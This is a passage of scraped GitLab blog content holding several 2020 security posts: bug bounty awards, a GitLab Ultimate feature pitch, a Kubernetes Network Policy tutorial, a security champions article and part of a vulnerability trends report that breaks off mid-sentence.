#id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i>  **Best written report.**  Congratulations to [@afewgoats](http://hackerone.com/afewgoats), your DoS report outlined multiple attack scenarios, provided us with a cool script to reproduce, and was clever and well written!\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.**  Congratulations to [@anshraj_srivastava](https://hackerone.com/anshraj_srivastava), your discovery surrounding private repositories was a first of its kind in our program.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.**  Congratulations [@ledz1996](https://hackerone.com/ledz1996), your report on stealing an API OAuth token was eye-opening and innovative.\n{: #id-rocket}\n\n*Since it is [GitLab’s policy](https://hackerone.com/gitlab#disclosure) to share details via public GitLab.com issue 30 days after releasing a fix, more details surrounding the research from the best written report, most innovative report, and most impactful finding category winners will be released in future [security release blog posts](/releases/categories/releases/).*\n\n### We cannot wait to send you one of these:\n\n![custom GitLab Mechanical Keyboard](https://about.gitlab.com/images/blogimages/2020-bugbountykeyboard.png){: .shadow.medium.center}\nThis Tanuki-powered Code V3 with *gold-plated cherry mx brown switches* will light up your hackety hack.\n{: .note.text-center}\n\n\nWe know though, that 2020 has not been all cherry-plated switches. It's been a trying year for all of us, with plenty of graphs trending in all the wrong ways. There have been highlights though and this program has been a continued source of fresh, expert perspectives, aha moments and positive energy from the sheer skill and innovation the security researchers bring to our program. We’re grateful to have your continued contributions and partnership in making our product and company more secure. Here’s to a better 2021, together.\n\nHappy hacking,\n\nThe GitLab Security team\n",[14,899],{"slug":4274,"featured":6,"template":677},"twenty-twenty-through-a-bug-bounty-lens","content:en-us:blog:twenty-twenty-through-a-bug-bounty-lens.yml","Twenty Twenty Through A Bug Bounty Lens","en-us/blog/twenty-twenty-through-a-bug-bounty-lens.yml","en-us/blog/twenty-twenty-through-a-bug-bounty-lens",{"_path":4280,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4281,"content":4286,"config":4291,"_id":4293,"_type":16,"title":4294,"_source":17,"_file":4295,"_stem":4296,"_extension":20},"/en-us/blog/security-features-in-ultimate",{"title":4282,"description":4283,"ogTitle":4282,"ogDescription":4283,"noIndex":6,"ogImage":3780,"ogUrl":4284,"ogSiteName":767,"ogType":768,"canonicalUrls":4284,"schema":4285},"Tired of afterthought security? Take a fresh look at GitLab Ultimate","Security may not be the first thing that comes to mind when thinking of our DevOps platform, but we’re going to make the case it should be. Here’s a look at some of the too-often-overlooked security features in GitLab Ultimate.","https://about.gitlab.com/blog/security-features-in-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tired of afterthought security? Take a fresh look at GitLab Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2020-12-08\",\n      }",{"title":4282,"description":4283,"authors":4287,"heroImage":3780,"date":4288,"body":4289,"category":14,"tags":4290},[3158],"2020-12-08","At GitLab, we have worked hard to make [application security testing](/topics/devsecops/) a natural by-product of software development. We started with the developer, bringing scan results into their native workflow, then we added a dashboard for the security pro. We acquired Gemnasium and most recently [Peach Tech and Fuzzit](/blog/fuzz-testing/). We have a board goal to be a world-class security product and have allocated just under 25% of our R&D budget to these capabilities. \n\nWe know our SAST, dependency, container, and other scanners are great but we’d also bought into the idea that people choose to use our [DevOps platform](/solutions/devops-platform/) largely because of CI or SCM and our security is just an added bonus. \n\nBut it seems we are our own worst critic, especially on how we determine product maturity. Data points include:\n\n* The technology review site G2 shows [GitLab’s static application security testing (SAST) is top rated](https://www.g2.com/categories/static-application-security-testing-sast#grid). \n* As of Dec. 4, 2020, GitLab has an Overall Rating of 4.6 out of 5 in the Application Security Testing market on [Gartner Peer Insights](https://www.gartner.com/reviews/market/application-security-testing/vendor/gitlab/product/gitlab), based on 32 reviews.\n  * _Gartner Peer Insights reviews constitute the subjective opinions of individual end users based on their own experiences and do not represent the views of Gartner or its affiliates._\n* Dev-Insider 2020 Platinum award for [best code and composition analysis](https://www.storage-insider.de/die-leser-haben-entschieden-die-gewinner-der-it-awards-2020-a-973498/).\n\nAnd customers are noticing too:\n\n* “GitLab Secure replaced Veracode, Checkmarx, and Fortify in my DevOps toolchain. GitLab scans faster, is more accurate, and doesn’t require my developers to learn new tools.” \t\n\n* “GitLab Secure enables us to ship faster. Our other scanner tools could take up to a day to finish scanning whereas GitLab scans finish in as little a few minutes.” \n\nHere’s a look at other built-in security features in Ultimate for self hosted and Gold for SaaS.\n\n## Vulnerability scans (no assembly required)\n\nIf there are two truths in security, it’s these: The more you scan, the less risk you will have, and it’s cheaper to find and fix vulnerabilities in development than later in the lifecycle. Developers need access to that data in their workflow. GitLab Ultimate/Gold offers comprehensive scanning, out of the box with no integration required: [dynamic](https://docs.gitlab.com/ee/user/application_security/dast/) and [static](https://docs.gitlab.com/ee/user/application_security/sast/) (now including mobile apps), [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/), [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), [API scanning](https://docs.gitlab.com/ee/user/application_security/dast/#api-scan), and [fuzz testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/), along with scanning for [secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) and [license compliance](https://docs.gitlab.com/ee/user/compliance/license_compliance/). All of these scans are built into the workflow with results presented in the MR pipeline – meaning busy developers don’t have to go hunting for results. \n\nThe scans are also easy to apply for security pros. With one click, you can choose what to do via AutoDevOps, or add in third-party scanners via the `ci.yml`. Just start with a [CI job definition](https://docs.gitlab.com/ee/development/integrations/secure.html#job-definition). We’ve even added a handy UX so non-developers can modify the `ci.yml` without coding (add link). By using CI templates you can easily set and apply [security policies](https://docs.gitlab.com/ee/user/application_security/configuration/) for merge approvals and more. You can also [limit security scanning to running offline](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) for highly sensitive environments. \n\n## Comprehensive dashboards\n\nWhile this developer-first perspective will reduce vulnerabilities, they can’t all be fixed on the spot. So our [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) capability (included with GitLab Ultimate/Gold) helps security pros manage remaining vulnerabilities. It provides a single source of truth, eliminating translation and friction between development and security, and makes it simple for anyone to see the status of remediation work, who changed what, where and when, and even who approved merge requests across the entire software development lifecycle.\n\nAnd because we know compliance also plays a key role in security, we have a dedicated [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html) that gathers key data to ensure quick and accurate reporting. \n\n## Container monitoring\n\nDevOps teams taking advantage of the modularity of containers also need a way to keep all the moving parts safe. Gitlab Ultimate offers [container threat monitoring](https://docs.gitlab.com/ee/user/application_security/) in addition to container scanning.\n\n## Integrated fuzz testing\n\nThanks to our acquisition of Peach and FuzzIt, GitLab Ultimate now offers integrated [coverage-guided fuzzing and continuous fuzzing](/topics/devsecops/what-is-fuzz-testing/), adding new types of testing previously unavailable.\n\nCover image by [Zhen Hu](https://unsplash.com/@zhenhu2424) on [Unsplash](https://unsplash.com)\n{: .note}\n",[14,2849,715,231],{"slug":4292,"featured":6,"template":677},"security-features-in-ultimate","content:en-us:blog:security-features-in-ultimate.yml","Security Features In Ultimate","en-us/blog/security-features-in-ultimate.yml","en-us/blog/security-features-in-ultimate",{"_path":4298,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4299,"content":4305,"config":4312,"_id":4314,"_type":16,"title":4315,"_source":17,"_file":4316,"_stem":4317,"_extension":20},"/en-us/blog/container-network-security-is-important",{"title":4300,"description":4301,"ogTitle":4300,"ogDescription":4301,"noIndex":6,"ogImage":4302,"ogUrl":4303,"ogSiteName":767,"ogType":768,"canonicalUrls":4303,"schema":4304},"How to secure your Kubernetes pods using GitLab Container Network Security","We help you get started with securing your Kubernetes cluster using Cilium, a GitLab-managed application.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681687/Blog/Hero%20Images/diane-helentjaris-TYk0YQbog9g-unsplash.jpg","https://about.gitlab.com/blog/container-network-security-is-important","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your Kubernetes pods using GitLab Container Network Security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-10-23\",\n      }",{"title":4300,"description":4301,"authors":4306,"heroImage":4302,"date":4307,"body":4308,"category":14,"tags":4309},[856],"2020-10-23","\n\n{::options parse_block_html=\"true\" /}\n\nKubernetes does not come secure out of the box. There is a lot of configuration needed\nto achieve a secure cluster. One important security configuration to consider is how pods\ncommunicate with each other. This is where Network Policies come into play, making sure that\nyour pods are not exchanging data with unknown or malicious sources, which can compromise\nyour cluster.\n\n[Network Policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/) are rules on how pods can communicate\nwith other pods as well as endpoints. They are pretty much a firewall for your internal cluster network.\n\nGitLab provides Container Network Security using [Cilium](https://cilium.io/) as a [GitLab-managed application](https://docs.gitlab.com/ee/user/clusters/applications.html#install-cilium-using-gitlab-cicd).\nCilium is a CNI [network plugin](https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/) for Kubernetes that can be used to implement support for Network Policies.\n\nThe video below provides an introduction on how to easily implement Network Policies from GitLab,\nas well as a demo on testing Network Policies:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/45Q__T42ZMA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Network Policies in action\n\nThere are many different ways of configuring Network Policies within your Kubernetes cluster. You can configure\nthe `ingress from` as well as the `egress to` traffic. There are four kinds of selectors\nwhich can be used to configure traffic between pods:\n\n- podSelector: Selects provided pods in the same namespace\n- namespaceSelector: Selects all pods on given namespace\n- podSelector & namespaceSelector: Selects provided pods in given namespace\n- ipBlock: Blocks external [IP CIDR](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing) ranges provided\n\nMore information on the behavior of \"to\" and \"from\" selectors can be found in the [Kubernetes documentation](https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors).\n\nBelow is an example of a Network Policy that only allows ingress traffic\nto pod with label `app: \"notes\"` from pods with label `access: \"true\"`.\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: access-notes\nspec:\n  podSelector:\n    matchLabels:\n      app: \"notes\"\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          access: \"true\"\n```\n\n## Installing Cilium as a GitLab-managed application\n\nCilium is provided by GitLab as a managed application, meaning\nthat GitLab installs and upgrades Cilium for you. There is no need\nto worry about how to get Cilium up and running. Cilium as well as your Network\nPolicies can be configured as needed.\n\nIn order to install and configure Cilium as a GitLab managed application, you can follow the steps provided in\nthe [GitLab cluster applications documentation](https://docs.gitlab.com/ee/user/clusters/applications.html#install-cilium-using-gitlab-cicd).\nThis sample project [Simply Simple Notes](https://gitlab.com/gitlab-examples/security/simply-simple-notes), is configured to use Cilium. It will install Cilium on the Kubernetes cluster associated with the project.\n\n[This guide](https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/) can be used to test your Network Policies once Cilium has been installed.\n\n## Threat monitoring dashboard\n\nBy default Cilium installs with Hubble, a monitoring daemon which collects packet flow metrics per namespace. These\nmetrics are sent to the GitLab [Threat Monitoring dashboard](https://docs.gitlab.com/ee/user/application_security/threat_monitoring/).\n\n![threat monitoring packet metrics](https://about.gitlab.com/images/blogimages/container-network-security/packet-metrics.png)\nPacket Metrics displayed in the Threat Management dashboard\n{: .note.text-center}\n\nThe packet flow metrics collected are:\n- The total number of inbound and outbound packets for the given time period\n- The proportion of packets dropped according to the configured policies\n- The average rate per-second of forwarded and dropped packets for the requested time interval\n\nWithin the Threat Monitoring dashboard, you can also view and configure the Network Policies in your project. This makes it easy to navigate\nyour container network configuration in one interface.\n\n![threat monitoring Network Policies](https://about.gitlab.com/images/blogimages/container-network-security/network-policy.png)\nNetwork Policies displayed in the Threat Management dashboard\n{: .note.text-center}\n\nNetwork Policies can also be created and edited through an intuitive UI. You can just select the network rules you wish to use and the YAML will be automatically created and applied to your cluster. This eliminates the need to edit the complicated YAML structure for Network Policies directly, and allows you to make sure the correct rules are being applied without confusion.\n\nNetwork Rules can be created using the following rule types:\n- Labels\n- Entities\n- IP/CIDR\n- DNS\n- Level 4\n\n![threat monitoring policy creation](https://about.gitlab.com/images/blogimages/container-network-security/policy-creation.png)\nPolicy being created in the Threat Management dashboard\n{: .note.text-center}\n\n## Learn more about GitLab Security\n\nI hope this blog can help get you started with Network Policies in Kubernetes. Check out some other\nways GitLab can help with security.\n\n- [How application security engineers can use GitLab to secure their projects](/blog/secure-stage-for-appsec/)\n- [How to capitalize on GitLab Security tools with external CI](https://docs.gitlab.com/ee/integration/jenkins.html)\n- [What you need to know about Kubernetes RBAC](/blog/understanding-kubernestes-rbac/)\n\nCover image by [Diane Helentjaris](https://unsplash.com/@dhelentjaris) on [Unsplash](https://unsplash.com/photos/TYk0YQbog9g)\n{: .note}\n",[14,4310,2287,4311,2093],"careers","agile",{"slug":4313,"featured":6,"template":677},"container-network-security-is-important","content:en-us:blog:container-network-security-is-important.yml","Container Network Security Is Important","en-us/blog/container-network-security-is-important.yml","en-us/blog/container-network-security-is-important",{"_path":4319,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4320,"content":4326,"config":4333,"_id":4335,"_type":16,"title":4336,"_source":17,"_file":4337,"_stem":4338,"_extension":20},"/en-us/blog/why-security-champions",{"title":4321,"description":4322,"ogTitle":4321,"ogDescription":4322,"noIndex":6,"ogImage":4323,"ogUrl":4324,"ogSiteName":767,"ogType":768,"canonicalUrls":4324,"schema":4325},"Why you need a security champions program","Faster releases, more open source code, and developers unlikely to have formal security training = at risk software apps. The solution? A security champions program.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664002/Blog/Hero%20Images/securitychampions.jpg","https://about.gitlab.com/blog/why-security-champions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why you need a security champions program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-14\",\n      }",{"title":4321,"description":4322,"authors":4327,"heroImage":4323,"date":4329,"body":4330,"category":14,"tags":4331},[4328],"Valerie Silverthorne","2020-10-14","\nIn a recent survey of security professionals, Forrester Research found 33% of them had suffered a security breach. That’s not great news, but what was even more concerning is that the breaches were actually in the applications themselves, either via software vulnerabilities or web application flaws, explained [Amy DeMartine](https://www.forrester.com/Amy-DeMartine), VP and research director with Forrester. “What we’re seeing here is a nasty trend where applications are actually where malicious attackers...are getting into our sacred data,” Amy said during a presentation at our 2020 [virtual user conference Commit](/events/commit/). “(When it comes to security,) applications are actually getting worse and everything else is getting slightly better. So this is where we really need to tighten up. We really need to make sure that our applications are secure.”\n\nDevelopers and security pros certainly agree that apps need to be more secure, but it’s safe to say that’s where the consensus ends. In [GitLab’s 2020 Global DevSecOps Survey](/developer-survey/) we found plenty of finger-pointing in both directions. Most developers weren’t running enough SAST, DAST, or IAST scans and fewer than 25% of them actually were able to get their results within their IDEs. Security pros said developers found too few bugs too late in the process, and neither side could come to any agreement on the question of security “ownership.” \n\nClearly there’s room for (major) improvement. To “fit the square peg of security into the round hole of DevOps” Amy said the solution was a security champions program, something that will help bridge the wide and pervasive gap between the two sides.\n\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## Begin at the beginning\n\nBefore a [DevOps team](/topics/devops/) can think about a security champion, Amy shed some light on the culture clash. Developers are measured on quality and customer feedback, two areas directly impacted by security, so that’s a good place to start, she said. Also developers want to release code more quickly, invest in more automation, and increase the use of open source code because they’re handy building blocks that make it easier to create code more quickly. But while open [source code](/solutions/source-code-management/) is handy, it’s often vulnerable; Forrester found 50% increases in open source code vulnerabilities in 2018 and 2019. \n\n“So we may not be doing the right kind of checks that we should be doing to release these open source components,” Amy said. “And the developers are going to need help with this. They're going to need to understand when not to include a common component, what common component to use? What's safe?”\n\nUnfortunately, devs may literally not know the answers to those questions because they may have had absolutely no professional training in security. Forrester examined the top 40 computer science programs in the US last year and found none of them taught secure coding practices. “So our developers, even the ones coming out of university today, do not know how to write secure code,” she said. “They don't understand that open source may have vulnerabilities, they don't know how to remediate weaknesses like SQL injection or cross-site scripting. And so as security pros, we really need to empathize with developers as they are trying to create good quality code that has great customer feedback, they don't know how to secure it, and that's where we come in.”\n\n## Enter the champion\n\nAmy doesn’t see the American universities changing their curriculum substantially in the near future, nor does she have a lot of faith in one-off “security training classes.” Her take: Developers need to learn about security right in the moment while guided by a champion. “The best way to do this is to stop them once we know they’ve got a security flaw and say, ‘Hey, you’ve got a SQL injection or you’ve got cross-site scripting.’ And hopefully the security tool is able to give them the remediation advice in the form of sample code. It’s all about about ‘How do I learn right in this moment?’”\n\nIn an ideal world, a security champion will be that person who can bridge the gap between development and security, up to and including speaking *both* languages, Amy stressed. “(A security champion)...can translate the fact that security flaws equal quality issues. And they're able to make it real for developers that oftentimes security pros aren't able to make it real for them. Plus they're part of the team, so they're automatically trusted.” Done right, the champion answers the questions in real time and speeds up the learning curve and the delivery cycle.\n\n## Make it happen\n\nTo get that obvious win-win in your organization, start by making the case, getting support, and finding funding, Amy said. “Even in this time of budget cuts it’s important to make sure you highlight the fact that what you’re trying to do is make your developers faster and have less flaws,” she said. Funding should come from both development and security. \n\nAfter that, it’s critical to pick the right security leaders; they’ll train the champions so they need to be empathetic to developers. The right candidates for champions will be those who ask a lot of questions about security, are naturally good at finding flaws, and are inclined to help others, Amy offered. Once they’re in place, the security leaders need to train them on the common issues and how to fix them.\n\nFrom there, it’s a matter of supporting, rewarding, and cheering them on, she stressed. Contests and friendly competitions “can go a long way to keeping developers interested and active as champions,” she said.\n\n## Pay attention to results\n\nThe final step in establishing a security champions program is measuring, monitoring, and continuously improving, Amy said. “If you see a huge uptick in SQL injection, it’s probably time to do some education either with a specific team or across the board.”\n\nIt will take some effort, she said, but it’s how companies are going to scale security successfully. “It’s not just automation (that leads to scale), but it’s also your security champions. (Focus on) those people who are embedded inside the developer teams.”\n\nWatch Amy’s full presentation:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/yX-uEkdpw2w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Joel Filipe](https://unsplash.com/@joelfilip) on [Unsplash](https://unsplash.com)\n{: .note}\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n",[14,1212,4332],"developer survey",{"slug":4334,"featured":6,"template":677},"why-security-champions","content:en-us:blog:why-security-champions.yml","Why Security Champions","en-us/blog/why-security-champions.yml","en-us/blog/why-security-champions",{"_path":4340,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4341,"content":4347,"config":4352,"_id":4354,"_type":16,"title":4355,"_source":17,"_file":4356,"_stem":4357,"_extension":20},"/en-us/blog/gitlab-latest-security-trends",{"title":4342,"description":4343,"ogTitle":4342,"ogDescription":4343,"noIndex":6,"ogImage":4344,"ogUrl":4345,"ogSiteName":767,"ogType":768,"canonicalUrls":4345,"schema":4346},"GitLab's security trends report – our latest look at what's most vulnerable","From triage to containers and secrets storage, we took a look at the most vulnerable areas across thousands of hosted projects on GitLab.com. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678152/Blog/Hero%20Images/data.jpg","https://about.gitlab.com/blog/gitlab-latest-security-trends","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's security trends report – our latest look at what's most vulnerable\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-10-06\",\n      }",{"title":4342,"description":4343,"authors":4348,"heroImage":4344,"date":4349,"body":4350,"category":14,"tags":4351},[3830],"2020-10-06","\n\nIn this second GitLab security trends report, we analyzed security vulnerability trends across thousands of projects hosted on GitLab.com.  Doing the analysis allowed us to identify trends and patterns that security practitioners can use to benchmark against their organizations.\n\n## Recommendations for security practitioners\n\n### Recommendations\n\n| Category | Recommendation |\n| --- | --- |\n| Security issue triage | Regularly review and prioritize security issues that were identified (such as in the [Gitlab Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/)) |\n| Apply security fixes for containers | Automatically scan, rebuild, test and deploy containers using [CI/CD pipelines](/topics/ci-cd/) so that they always have the latest patches. |\n| Apply security fixes for project dependencies | Scan project dependencies during builds and periodically for the use of libraries with known vulnerabilities, and update the dependencies accordingly. |\n| Static analysis | Implement static security scanning while tuning for false positives so that developers can focus on what is truly important. Pay attention in particular to scanning automated tests with a different configuration than production code in order to reduce wasted time on false-positives. |\n| Secret storage | Ensure that developers store secrets such as private keys, passwords, and API keys in a secret vault rather than in the codebase itself. This is a typical security anti-pattern. During builds, use scanners that can detect secrets that were accidentally stored in the codebase. |\n| Dynamic analysis | Implement dynamic analysis, and periodically confirm it can both authenticate the applications being scanned and fully spider them. This is a common challenge and when misconfigured causes the scanners to test only a small portion of the application.  |\n| Web application security | Evaulate applications for common attack vectors such as reverse tabnabbing and `x-frame-options` that are not implemented. | \n| Fuzz testing | Track the latest techniques used by bad actors to find vulnerabilities and use those same tactics to find issues, preferably before they discover them. |\n\n## Trends by CWE \n\nFor this section of the analysis, all detected vulnerabilities across all scanners were mapped against their primary [CWE: Common Weakness Enumeration](https://cwe.mitre.org/about/index.html). The pertinent [CVEs (Common Vulnerabilities and Exposures)](https://cve.mitre.org/) are included with each vulnerable library or component.\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3797747\" data-url=\"https://flo.uri.sh/visualisation/3797747/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top three CWEs in August were:\n\n###  CWE-20: [Improper input validation](https://cwe.mitre.org/data/definitions/20.html)\n\nImproper input validation allows for potential injection attacks (SQL, code, etc). The top findings were from the [container scanner](https://docs.gitlab.com/ee/user/application_security/container_scanning/) which found issues with out of date software, most notably for:\n* [glibc](https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-767/GNU-Glibc.html) - CVE-2016-10228 and CVE-2018-19591\n* [apt](https://www.debian.org/doc/manuals/debian-reference/ch02.en.html) - [CVE-2020-3810](https://nvd.nist.gov/vuln/detail/CVE-2020-3810)\n\nThe dependency scanner also found issues for libraries in use including:\n* [ajv](https://ajv.js.org/)\n* [sockjs](https://github.com/sockjs/sockjs-client)\n* [minimist](https://www.npmjs.com/package/minimist)\n* [yargs-parser](https://www.npmjs.com/package/yargs-parser)\n\n### CWE-787: [Out of bounds write of intended buffer](https://cwe.mitre.org/data/definitions/787.html)\n\nThis allows for potential remote code execution. The top findings were from the container scanner which found the below software to be out of date and vulnerable:\n* [glibc](https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-767/GNU-Glibc.html) - CVE-2020-1751, CVE-2018-11237\n* [openexr](https://github.com/AcademySoftwareFoundation/openexr) - [CVE-2020-15306](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15306)\n* [ghostscript](https://ghostscript.com/) - CVE-2020-16287, CVE-2020-16292, CVE-2020-16291, and 8 others\n\nThe dependency scanner also found issues for dependant libraries in use, with the top one being [execa](https://www.npmjs.com/package/execa).\n\n### CWE-400: [Uncontrolled resource consumption](https://cwe.mitre.org/data/definitions/400.html)\n\nUncontrolled resource consumption allows for potential denial of service attacks against specific software. The top findings were from the dependency scanner for the [Mixin-deep](https://www.npmjs.com/package/mixin-deep) library.\n\nThe container scanner also found issues with:\n* [mysql-5.7](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql) - CVE-2020-14547, CVE-2020-14540, CVE-2020-14576, and 4 others\n* [nghttp2](https://kb.cert.org/vuls/id/605641/) - CVE-2019-9513 and CVE-2019-9511\n\n## Dependency scanner trends\n\n![Dependency by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/dependency_by_month.png \"Dependency scanner trends\")\n\nThe percentage of projects finding issues with dependent libraries in use has significantly increased over the last year, from 26% to 69%.  This reinforces that updating dependent libraries should be prioritized based on the risks those libraries pose.  GitLab [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) can be used to scan project dependencies for vulnerabilities.\n\n### By Library\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3819520\" data-url=\"https://flo.uri.sh/visualisation/3819520/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nAs new vulnerabilities are discovered in libraries, and projects using them have their dependencies scanned, the libraries rise in prevalence.  As the dependencies are updated later, they drop in prevalence. However, not all teams reliably prioritize and resolve issues, so many vulnerable dependent libraries continue to be in use for a long period of time.\n\nThe top libraries in use with vulnerabilities in August were:\n\n| Library | Top vulnerability | \n| ---- | --- |\n| [Lodash](https://www.npmjs.com/package/lodash) | Object prototype pollution |\n| [Execa](https://www.npmjs.com/package/execa) | OS command injection |\n| [Mixin-deep](https://www.npmjs.com/package/mixin-deep) | Prototype pollution |\n| [Kind-of](https://www.npmjs.com/package/kind-of) | Type checking |\n| [Sockjs](https://www.npmjs.com/package/sockjs) | Cross-site scripting | \n| [Ajv](https://www.npmjs.com/package/ajv) | Improper input validation |\n| [Minimist](https://www.npmjs.com/package/minimist) | Improper input validation |\n| [Yargs-parser](https://www.npmjs.com/package/yargs-parser) | Improper input validation |\n| [JQuery](https://www.npmjs.com/package/jquery) | 3rd party CORS request may execute |\n| [Dot-prop](https://www.npmjs.com/package/dot-prop) | Direct request forced browsing |\n\n## Container scanner trends\n\n![Container by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/container_by_month.png \"Container scanner trends\")\n\nThe percentage of projects finding issues with containers has decreased over the last year, from 52% to 41%. While we have seen a small decrease, it is still relatively high. Keeping container registries up-to-date and rebuilding/redeploying the containers that use them continues to be essential to reduce security risk. GitLab [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning) can be used to scan Docker images for known vulnerabilities.\n\n### By Component\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3828843\" data-url=\"https://flo.uri.sh/visualisation/3828843/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nSimilarly to the trends in dependent libraries, as new vulnerabilities are discovered in containers, and the containers are scanned, the vulnerabilities rise in prevalence. As the containers are updated, the vulnerabilities drop; however many are not updated, leaving the vulnerabilities in place and potentially exploitable in the long-term.\n\n### By Discovery Year\n\n![Container by year](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/container_by_year.png \"Container by year\")\n\nWhile many projects update containers, a significant number of projects use containers with vulnerabilities that were discovered many years prior. Being diligent in identifying and updating all containers in use is essential to maintain the appropriate level of security vigilance.\n\n## Static analysis trends\n\n![SAST by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/sast_by_month.png \"SAST scanner trends\")\n\nThe percentage of projects finding vulnerabilities via static scanning over the last year has remained mostly unchanged (from 49% to 52%). This shows that static scanning continues to be quite effective in identifying security vulnerabilities. GitLab can be used for [static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) and [secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection).\n\nMany SAST checks can have a false positive rate, especially when scanning code for automated tests (which, for example, may contain non-production secrets). It is crucial to tune the SAST scanners to reduce false positives, allowing the developers to focus on other issues that have a higher likelihood of being a real problem.\n\n### Non-secret related vulnerabilities\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829510\" data-url=\"https://flo.uri.sh/visualisation/3829510/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top vulnerabilities in this category were:\n* Password in URL - Passwords are sent in the URL, allowing the password to be more easily stored in the local browser cache and in any proxy servers between the web browser and web server. Passwords should be sent via secure methods such as the `POST` method (vs. using `GET`, which puts the password in the URL.)\n* Insecure usage of temporary file or directory - a temporary file does not have proper permissions, allowing data to be exposed and possibly allowing for remote code execution. \n* Predictable pseudorandom number generator (PRNG) - if a predictable seed is used for encryption, it makes it much easier for the encryption to be defeated. A [cryptographically secure PRNG](https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator) should be used instead.\n* Cipher with no integrity - code does not validate that when decrypting data, the data has not been altered. A solution for this is to add an encrypted hash to the message.\n* No file extension found in an include - allows for potential remote code execution.\n\n### Secret handling vulnerabilities\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829570\" data-url=\"https://flo.uri.sh/visualisation/3829570/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top types of secrets/keys identified 